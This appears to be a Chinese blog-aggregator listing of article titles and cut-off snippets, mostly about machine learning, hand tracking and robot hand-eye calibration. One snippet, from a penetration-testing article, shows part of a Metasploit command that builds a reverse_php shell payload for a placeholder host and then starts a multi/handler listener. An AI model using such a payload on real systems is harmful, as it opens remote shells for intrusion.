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机器学习--序言

如何生成可参考右边的帮助文档文章目录前言序论什么是机器学习机器学习部分术语基本分类根据数据标签类型分类监督学习无监督学习半监督学习根据任务类型分类过拟合与欠拟合正则化范数为什么正则化可以缓解过拟合L1L1L1正则化更容易找到稀疏解评估方法留出法(hand-out

happywinder--·2022-12-02 16:53

SVM 支持向量机

SVM支持向量机SVM1.SVM分类：2.Hand-MarginSVM3.Soft-marginSVM4.Kernel-MarginSVM4.1核方法5.其他关于SVM？SVM对偶？SVM核技巧？

小葵向前冲·2022-12-01 19:18

python-opencv去除小面积区域/孔洞填充（二值图像）

importcv2importosimportnumpyasnpimaPath=r"E:\hand\label"output=r"E:\hand\output"imaList=os.listdir(ima

StephenBarrnet·2022-11-30 20:09

Python人体肤色区域提取

/hand/0.jpg'img=cv2.imread(imname,cv2.IMREAD_COLOR)ori=cv2.imread(imname,cv2.COLOR_BGR2RGB)ycrcb=cv2.

癞皮狗狗主·2022-11-29 22:50

[论文评析]MediaPipe Hands: On-device Real-time Hand Tracking， ArXiv,2020

MediaPipeHands:On-deviceReal-timeHandTracking论文信息简介MediapipeHands手掌检测器BlazePalmDetector手部骨骼检测HandLandmarkModel数据集构造应用References论文信息论文题目：MediaPipeHands:On-deviceReal-timeHandTracking发表：ArXiv,2020作者信息：Z

MasterQKK 被注册·2022-11-27 17:54

训练自己的haar分类器【训练前准备】

总体步骤参考的是https://blog.csdn.net/meenr/article/details/115825671一、数据收集收集正样本——建立with_hand文件夹收集负样本——建立without_hand

今天吃什么鸭·2022-11-27 09:35

行人重识别常用数据集汇总以及经典方法尝试使用

#cameras#imagesLabelmethodCropsizeMulti-shotTrackingsequencesFullframesavailabilityVIPeR200763221264Hand128X48ETH1,2,3200785,35,2818580HandVary

Mira-Tableau·2022-11-26 22:51

Point-Plane SLAM for Hand-Held 3D Sensors论文阅读

1、摘要提出了一种手持式3D传感器的SLAM算法，该算法使用点和平面作为基本体。我们表明，可以使用三个点平面基本体（3个平面、2个平面和1个点、1个平面和2个点以及3个点）的任意组合在两个不同坐标系中注册3D数据。算法使用RANSAC框架中的最小基元集来稳健地计算对应关系并估计传感器姿态。由于平面数明显小于典型3D数据中的点数，我们的RANSAC算法更喜欢包含更多平面的原始组合，而不是点。与现有的

double立li·2022-11-25 17:56

【Python】关于Win32后台，鼠标移动，坐标偏移问题解决方法

importwin32api,win32gui,win32con#win32gui.FindWindow(类名,标题)获取父级窗口句柄Hand1=win32gui.FindWindow('LDPlayerMainFrame

鱼儿丨·2022-11-25 09:48

如何理解深度学习中的端到端（End-to-end）概念

比如使用一些hand-craftedfunction

sssssyuan·2022-11-25 09:04

【Mediapipe】windows C++ 修改hand_tracking可视化部分

如果直接运行官方给的demo，windowsC++多出了许多我不想要的框想要只留下handnesslandmark修改：mediapipe\mediapipe\graphs\hand_tracking\

sxxblogs·2022-11-25 09:13

4-Handler消息机制源码分析

卡顿或者ANR,Android系统要求用户把这些个操作放到子线程中,2是Android同时又要求在子线程不能更新UI(估计是基于线程安全问题),这就需要一种机制,在子线程中把消息传递到主线程,于是就有了Hand

Mr_Sun_01·2022-11-24 18:23

数据挖掘算法——Apriori算法

转载来自：链接：https://www.jianshu.com/p/26d61b83492e所以做如下补充：关联规则：形如X→Y的蕴涵式，其中，X和Y分别称为关联规则的先导(antecedent或left-hand-side

banxing6367·2022-11-24 16:47

毕设博客（九）

ViewModel1、先进行UI界面设计：2、在string.xlm中添加资源：ViewModelShp+-DATA_KEYSHP_NAME3、创建一个MyViewModel类,用SavedStateHandle类型的hand

周可人·2022-11-24 09:17

Qt捕获Opencv窗体并加载到界面

Qt捕获Opencv窗体并加载到界面1、Qt捕获Opencv窗体cv::imshow并加载到界面2、使用OpenCV、RTSP打开摄像头3、适合初学者，涉及到Hand句柄基础知识，请自行查找4、本人使用

非鹏爱贴2012·2022-11-24 05:42

视觉机械臂自主抓取全流程

目录简介相机标定手眼标定Eye-In-HandEye-To-Hand求解（Eye-In-Hand）求解AX=XB手眼标定步骤读取出摄像头信息并确定目标物体的位姿图像分割三维对象实例分割姿态估计机械臂正逆运动学求解运动学正解运动学逆解总结简介视觉机械臂是智能机器人的一个重要分支

knightsinghua·2022-11-23 08:10

MediaPipe Hands: On-device Real-time Hand Tracking 论文阅读笔记

设备端实时手部追踪0.摘要(Abstract)1.简介(Introduction)2.架构(Architecture)2.1手部检测器2.2手部坐标预测模型（HandLandMarkModel）3.数据集和标注（DataSetAndAnnotation）4.试验结果（Result）5.使用MediaPipe的具体实现（ImplementationInMedisPipe）6.应用举例（Applica

炼丹狮·2022-11-23 04:21

【论文笔记】Deep Reinforcement Learning Control of Hand-Eye Coordination with a Software Retina

目录AbstractKeywords1.INTRODUCTION2.BACKGROUNDA.SoftwareRetinaB.DeepReinforcementLearningHand-EyeCoordination3.METHODOLOGYA.SimulatorDetailsB.VisionSystemDetailsC.AgentDetails4.EVALUATIONA.TrainingonEnv

Ctrl+Alt+L·2022-11-22 13:02

遮挡行人重识别论文阅读(2021)

DiversePartDiscovery:OccludedPersonRe-identificationwithPart-AwareTransformer（CVPR2021中科院）针对遮挡问题，现有的方法存在的问题有：Hand-CraftSplitting

wyl2077·2022-11-22 11:48

【手部姿态估计】【论文精读】3D Hand Shape and Pose Estimation from a Single RGB Image

[Abstract]本文的工作解决了一个新的和具有挑战性的问题，即从单一RGB图像估计完整的3D手的形状和姿势。目前基于单目RGB图像的手的三维分析方法主要集中于估计手关键点的三维位置，但这不能充分表达手的三维形状。相反，本文提出了一种基于图卷积神经网络(GraphConvolutionalNeuralNetwork,GraphCNN)的方法来重建完整的手部三维网格(mesh)，其中包含了更丰富的

sxxblogs·2022-11-21 04:30

李宏毅机器学习学习打卡Task01-介绍篇

一、机器学习介绍（1）人工智能、机器学习和深度学习的关系（2）Hand-craftedrules和Machinelearning（3）机器学习的套路模型->策略->算法二、机器学习的相关技术机器学习的基本框架

SASIOVERLXRD·2022-11-20 23:04

Ubuntu18.04 + kinova joca2机械臂 + RealSense D435i深度相机进行eye to hand手眼标定

文章目录前言一、前期准备1.RealSenseD435i安装2.Kinova-ROS安装二、手眼标定环境配置1.visip2.aruco_ros3.easy_handeye三、标定前准备1.终端python版本设置2.opencv4安装四、手眼标定1.准备aruco码2.创建launch文件3.参数修改4.手眼标定总结参考连接前言本文主要使用kinovajoca2机械臂+RealSenseD435

initative·2022-11-20 23:31

文章阅读总结：视频理解论文串讲（Li Mu+ Yi zhu）

文章目录视频理解论文串讲(文章末尾有多数文章的地址)1.Hand-Craft===>CNN:DeepVideo2.Two-Stream2.12014_TwostreamConvolutionalNetworksforactionrecognitioninvedios2.22015

留小星·2022-11-20 07:35

FingerInput: Capturing Expressive Single-Hand Thumb-to-Finger Microgestures

Abstract单手拇指到手指的微手势显示出很好的表现力，快速和直接的互动前景。然而，开创性的手势识别系统都集中在特定的手势子集上。我们仍然缺乏能够更全面地检测一系列可能的手势的系统。在本文中，我们提出了一个统一的拇指到手指微手势设计空间。基于该设计空间，我们提出了一种基于深度传感和卷积神经网络的拇指对手指手势识别系统。它是第一个能够准确检测传感器和传感器之间的接触点的系统。因此，它可以检测到比现

铿锵的玫瑰·2022-11-20 06:03

每周论文精读04——A Survey on 3D Hand Pose Estimation: Cameras, Methods, and Datasets

论文精读——ASurveyon3DHandPoseEstimation:Cameras,Methods,andDatasets本周所进行精读的一篇文章是手势估计领域的一篇综述文章，由浙江大学撰写与2019年发表在PR期刊上，篇幅较长，内容丰富，比较详细的综述了自2010年Kitnet问世以来对于手势估计的应用与研究。废话不多说，进入正文部分了：###########################

Jason_____Wang·2022-11-20 06:32

DW李宏毅机器学习笔记--Task01-机器学习介绍

文章目录前言一、机器学习介绍1.人工智能、机器学习与深度学习2.Hand-craftedrules与Machinelearning3.机器学习的思路二、机器学习相关的技术1.监督学习回归（Regression

湘玄书生·2022-11-20 04:23

Datawhale-李宏毅深度学习Day1

机器学习来自台大的李宏毅老师以河狸筑水坝的例子讲述了生物本能与机器本能的相似，再指出了采用hand-craftedrules的chat-bot表面上看起来很“智能”，实则全是if构造，只能实现显式编程。

xyuuuyx·2022-11-20 01:09

【李宏毅机器学习】1. Introduction

hand-craftedrules与machinelearningmachinelearning的framework机器学习相关的技术大量label：监督学习减少label：半监督学习和迁移学习没有label

Daniella He·2022-11-19 19:05

python可以手眼定标吗_手眼标定eye-to-hand 示例：handeye_stationarycam_calibration

**Thisexampleexplainshowtousethehandeyecalibrationforthecasewhere*thecameraisstationarywithrespecttotherobotandthecalibration*objectisattachedtotherobotarm.*这个示例展示了如何使用手眼标定,这种情形用于相机与机械手基础坐标系位置固定且标定板固定

weixin_39869959·2022-11-19 17:53

AlphaPose 0.4 version 在win10系统下的编译

Includewholebody(face,hand,foot)keypoints!官

不会飞的鹰08·2022-11-19 11:53

Datawhale 李宏毅机器学习 Task1

通过规则（hand-craftedrules）编码存在问题：难以考虑所有可能性永远无法超越创造者大量人工因素2.机器学习machinelearning所做的事情，你可以想成就是在寻找一个function

STUffT·2022-11-19 02:27

常用工具网站汇总

Excalidraw——在线手绘风格绘图板Excalidraw|Hand-drawnlook&feel•Collaborative•SecureExcalidraw——在线手绘风格绘图板源码阅读网-地图形式图解源码结构源码阅读网

张轶渤·2022-11-17 16:40

机器人手眼标定详解

最常见的手眼系统包括Eye-to-Hand和Eye-in-Hand两种。

Galaxy_Robot·2022-11-17 07:46

使用pyinstaller打包Mediapipe项目时遇到FileNotFoundError: The path does not exist的解决方法

inFile"demo_windows.py",line245,inrecognizeFile"demo_windows.py",line55,in__init__File"mediapipe\python\solutions\hand

abtgu·2022-11-16 13:58

大数据/数据挖掘/推荐系统/机器学习相关资源

书籍各种书~各种ppt~更新中~http://pan.baidu.com/s/1EaLnZ机器学习经典书籍小结http://www.cnblogs.com/snake-hand/archive/2013

安伦_Alan·2022-11-09 07:07

标定学习笔记（五）-- Halcon手眼标定例程：Hand-eye-Calibration with a moving cam

1问题概述本例程演示了在Eye-in-Hand的情况下，当标定板与机器人基准位置保持不变应该如何进行手眼标定。机器人通过标定板来进行手眼标定。

ParzivalEdison·2022-11-08 21:39

Halcon学习：calibrate_hand_eye_scara_stationary_cam_approx

*此示例说明了如何执行近似的手眼校准*对于没有校准板的SCARA机器人。机器人相对于世界坐标系的近似校准或“对齐”假定工具中心点位于工具坐标系中的（未知）位置（0、0，Z），即抓取器或真空杯相对于工具坐标系的z轴居中。此外，假设在抓取物体时不需要考虑抓取器或真空杯的方向（围绕Z轴的旋转）。*它至少基于四个所谓的校准点，这些点是已知图像坐标和机器人坐标的点，即它们必须在图像中清晰可辨，并且必须有可能

喏喏心·2022-11-08 21:37

day1-李宏毅机器学习

目录心得体会一、hand-craftedrules二、三类学习方法三、迁移学习四、强化学习心得体会今天开始参加开源学习组织datawhale的组队学习--李宏毅机器学习，再次写一系列文章记录我的学习笔记与感悟

苏晨星·2022-11-01 23:35

DATAWHALE-李宏毅机器学习-1

河狸造堤坝是生物的本能，机器学习的天赋则来自hand-craftedrules。

樟宜·2022-11-01 03:32

手眼标定(eye in hand)-原理

目录问题描述等式右边的三个位姿如何获取机械臂坐标与相机坐标的变换关系求解AX=XB（Tsai-Lenz算法）问题描述在机械臂与相机进行协同作业时，如何将物体在相机下识别到的作业点，转到机械臂的坐标系下进行任务作业呢？坐标的变换可以这样进行推导：目标在机械臂坐标下的位姿=目标在相机坐标下的位姿--->相机在falan坐标下的位姿--->法兰在机械臂坐标下的位姿等式右边的三个位姿如何获取目标在相机下的

月亮299·2022-09-30 12:23

手眼标定(eye in hand)-步骤

目录第一步：明确四个坐标系第二步：坐标系间的转换关系第三步：B1，B2：calHcam求法第四步：AX=XB求解方法先求解旋转再平移同时求解旋转平移第一步：明确四个坐标系base坐标系：base法兰坐标系:falan相机坐标系:cam标定板/物坐标系:cal第二步：坐标系间的转换关系A1，A2：已知即为falan坐标系到base坐标系的转换关系，由机器人系统得知（已知）B1,B2：相机坐标系到标定

月亮299·2022-09-30 12:23

手眼标定原理（眼在手上和眼在手外）

手眼标定有两种情形：第一种是相机（眼）固定在机器臂（手）的末端，相机相对于机器臂末端是固定的，相机跟随机器臂移动，这种方式的手眼标定成为Eye-in-hand；第二种是相机（眼）和机器臂（手）分离，相机相对于工业机器人的基座是固定的

hy2014x·2022-09-30 12:18

Android 平台开发一个输入法

IMF设计用来支持不同的IME，包括了softkeyboard，hand-writingrecognizes和hardkeyboardtranslators。

蒜香百灵鸟·2022-09-28 00:47

中断系统中的设备树

__irq_usr/__irq_svcd.irq_handler:将会调用C函数handle_arch_irqe.hand

小嵌同学·2022-09-25 11:11

内网渗透中的反弹Shell与端口转发

reverse_phpLHOST=x.x.x.xLPORT=2333R>re.php将文件传入shell中,在msf中开一个handlermsf>usemulti/handlermsfexploit(hand

weixin_30485799·2022-09-02 17:36

基于Vue实现手势签名

，供大家参考，具体内容如下废话不多说，直接上效果图&源码代码如下1.template 请在下方区域内签名清除保存 2.js exportdefault{ name:"hand-sign

·2022-08-29 20:40

如何避免HBase写入过快引起的各种问题

最后由负责处理RPC的hand

数大招疯·2022-08-21 09:29

python虚拟环境操作（创建、管理、查看、删除）

新建一个版本较低的环境去兼容旧的第三方库二、操作（安装anaconda前提）1、第一步进入python的命令行2、第二步，查看目前所有的虚拟环境，输入以下命令condainfo--env效果如图，可以看到我有三个环境，base，hand

comegoing-归去兮来·2022-08-13 08:32

问题七：vue+ts The left-hand side of an assignment expression may not be an optional property?

用ts定义了一个变量，并且用接口做类型定义的，但是赋值的时候就报错？？？解决办法：解决的办法是赋值之前先判断是否存在

LeviAckerman_Js·2022-07-31 15:52

用css 添加手状样式,鼠标移上去变小手

.第一种方式：（先两个div）第一个div{cursor:pointer;}11222.用a包裹第一个1122除此之外cursor还有别的属性auto：标准光标default：标准箭头pointer,hand

小杨要努力哇·2022-07-19 20:44

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